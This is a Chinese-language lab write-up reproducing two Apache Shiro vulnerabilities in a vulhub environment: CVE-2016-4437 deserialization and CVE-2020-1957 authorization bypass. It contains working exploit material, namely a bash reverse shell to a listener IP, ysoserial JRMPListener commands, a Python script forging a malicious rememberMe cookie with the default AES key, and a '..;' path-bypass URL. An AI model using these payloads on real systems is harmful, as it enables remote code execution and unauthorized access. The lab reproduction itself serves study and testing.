shiro安全架構的2個CVE漏洞複現
簡介
shiro是apache下的一個java安全架構,通常用來進行授權和認證,相比于同樣流行的spring security架構,shiro更加輕量更好上手使用的人也更多。
此文複現環境為vulhub靶場,以下将複現靶場中的兩個shiroCVE漏洞。
1.CVE-2016-4437反序列化漏洞
複現條件
shiro版本<=1.2.4
需要有Remember me選項
需要預設AES密鑰
複現原理
登入時勾選remember me序列化儲存登入資訊到Cookie
過程:序列化=>AES加密=>base64編碼=>寫入Cookie
在伺服器端會相反的進行base64解碼=>AES解密=>反序列化
若傳入Cookie的是一段惡意代碼,那伺服器在反序列化時就會執行
其中AES加密為對稱加密,加密解密需要同一個密鑰,重點就是AES密鑰的擷取
其中1.2.4預設密鑰kPH+bIxk5D2deZiIxcaaaA==
利用流程思路
1.伺服器啟動監聽端口
2.寫一段反彈shell使目标對象可以連接配接到監聽的端口,對反彈shell進行編碼
3.利用編碼後的shell啟動JRMPListener
4.寫一段惡意代碼(開啟JRMP連接配接到剛才啟動的Listener端口),将這段惡意代碼進行:序列化=>AES加密=>base64編碼=>寫入Cookie
5.伺服器:base64解碼=>AES解密=>反序列化,執行惡意代碼連接配接到JRMP伺服器
複現過程
1.監聽端口
nc -lvp 7777
2.反彈shell
利用工具:
https://ares-x.com/tools/runtime-exec/
bash -i >& /dev/tcp/192.168.88.132/7777 0>&1
-i 參數 生成互動式shell
>& 把标準輸入和标準輸出重定向到socket
/dev/tcp/192.168.88.132/7777 表示bash會對/dev/tcp特殊處理,代表了一個tcp socket
0>&1 将标準輸入重定向到标準輸出
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
3.啟動JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMi83Nzc3IDA+JjEg}|{base64,-d}|{bash,-i}"
4.惡意代碼寫入cookie
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
# 打開JRMP用戶端,連接配接到特定端口
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
# 用擷取到的key AES加密
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
# 生成随機16位長度的IV
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
# base64編碼
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
生成
rememberMe=/7W9tNpzRJGkCEx7Q1XRqwSgkBx3QPYXUnlzqOk9B4eKfD75xDSPpVo7iX+QI0ZqeEKAfhpU/MZYawxHKmHixXxwsHrRiKB76YE9nkmYRg74mJsChMgkpqsTxSgT0TLGjMlaG0cEW1Gi8FnIRKsbIPEGj20JRFu3HcCq/jyShqTH5z1G20Ke1ySW1jZiFH79RYgGh9mr+o04GZa9t+jHNTQ+o7f2SrzOoO5bXt1+8CoO/UDdBnr87puYlQg9ly3c0PC0I2Q+RMOtwnnxN7of624r7xjHnaW1T1DYHpL1TfzATTEONpPtWMDMPrQGGSdLl8LrYntDaJtzpWlxFVZu/ElHYQ6TM7cZxb9EkPi4GwxuVqLdMwx9bfF6qAKXa5KauDh7cIuijd9/mhGEIg4V1w==
5.成功執行惡意代碼得到控制權
2.CVE-2020-1957權限繞過漏洞
複現條件
Shiro版本 < 1.5.3
複現原理
shiro會對URL進行驗證,decodeAndCleanUriString()會以;進行截斷,再進入normalize() 對路徑進行标準化處理,最後在getChain()進行校驗。主要思路是使其利用各種字元拼接通過shiro的校驗。
shiro通過後進入springboot會對請求進行處理,找到對應的mapping,具體比對的方式是getPathWithinServletMapping(),而這個函數一般傳回的是servletPath=(目錄名)+頁面名
複現思路
利用如下payload過校驗,進入springboot後mapping映射請求到頁面的路徑
payload:/xxx/..;/名稱/
總體URL:htttp://youip/xxx/…;/名稱/
shiro校驗:/xxx/…; 校驗通過
springboot:處理/xxx/…;/名稱/,隻請求了/名稱/
複現過程
http://192.168.88.111:8080/login.html頁面需要登入才能通路admin界面http://192.168.88.111:8080/admin/
當在url直接輸入http://192.168.88.111:8080/xxx/…;/admin/直接繞過驗證